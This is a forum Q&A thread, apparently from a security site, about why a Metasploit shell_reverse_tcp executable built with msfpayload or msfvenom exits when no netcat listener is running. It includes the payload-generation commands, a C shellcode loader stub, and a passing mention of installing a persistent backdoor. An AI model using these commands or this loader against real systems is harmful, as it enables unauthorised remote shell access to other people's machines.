I am using Metasploit to generate a shell_reverse_tcp exploit using the following command:

msfpayload windows/shell_reverse_tcp LHOST= x > exploit.exe

On listener side I am using netcat.

Everything is perfect and if I run the listener first(nc -l -p 4444) and open the exploit.exe after that. But If my listener is not running and I run the exploit.exe, it starts and exits immediately. So if I run the exploit.exe first and start the listener after, it doesn't work. I've also tried ReverseConnectRetries but this is not working either.

So what is the problem? Thanks for any answers.

  • You must be using a very old version of Metasploit as the msfpayload has been deprecated long ago. Network resiliency is part of TCP and HTTP transport so you should be able to do what you are looking for. You need to update framework to the latest version first. – void_in Feb 23 '16 at 10:41
  • Thanks you very much void_in. Yes I am using old version, I think i will have to use Msfvenom instead of msfpayload. let me try it and I update you here. – localhost Feb 23 '16 at 11:07

If i run exploit.exe first and listener second then it doesn't work

Of course it won't, and that's what reverse_tcp means. The payload is reverse_tcp shell, it will start a connection from the victim to the attacker machine, so the listener must be up and running for accepting the connection.

| improve this answer | |

I assume the question is: will this single (payload type) retry and wait for a connection?

When you look into the shell_reverse_tcp.rb file in your framework-# (look in modules/payloads/singles/windows) it does not state that that there should be any connection retry. If you however look into the stager reverse_tcp.rb (modules/payloads/stagers/windows) there is a 'ReverseConnectionRetries' value to set. I know this is not a solid answer, but Singles are simpler and smaller than Stages/Stagers combinations, so it is valid to assume that there is no reconnect ability - even using MSFVenom.

| improve this answer | |
  • There is no reconnect otherwise, unless you install a persistent backdoor on the system. Metrepeter has a function to do that. – multithr3at3d Feb 23 '16 at 16:00
  • Well that is the answer then. Where did you find this? And what does the 'ReverseConnectionRetries' do then? – RLFP Feb 23 '16 at 17:47
  • I think RLFP is right there is not ReverseConnectionRetries. I tried following command with msfvenom but still not working msfvenom -p windows/shell_reverse_tcp lhost= lport=555 -f exe > ./Desktop/exploit.exe. – localhost Mar 3 '16 at 20:09

I am trying to find the alternative for this problem. So I created the shell code rather than executable and put that in to a c program. Now I am trying to put this code in to a infinite loop but this is not working also, If listener is not running already then program exists immediately.I am not a expert c programmer so please make me correct if i am doing something wrong. I am using gcc to compile this code.

 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=5678, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
#include <windows.h>
unsigned char buf[] = 
/* Launch the meterpreter shellcode */
void main()
    /* Declare pointer on function */
    int (*func) ();
    /* Cast shellcode into function */
        func = (int (*) ()) buf;
        /* Call function (Execute shellcode) */
        (int) (*func) ();
| improve this answer | |

As far as I know msfvenom also supports a "service exe" type, maybe that automatically tries a reconnect (I don't know). Otherwise I think what you're asking for is simply out of scope. As pointed out by other answers by design the reverse shell wants to connect to a listener that is already up and running. If you need a different behaviour then the best option for you is to search for reverse shell C code, change it and compile it on your own.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.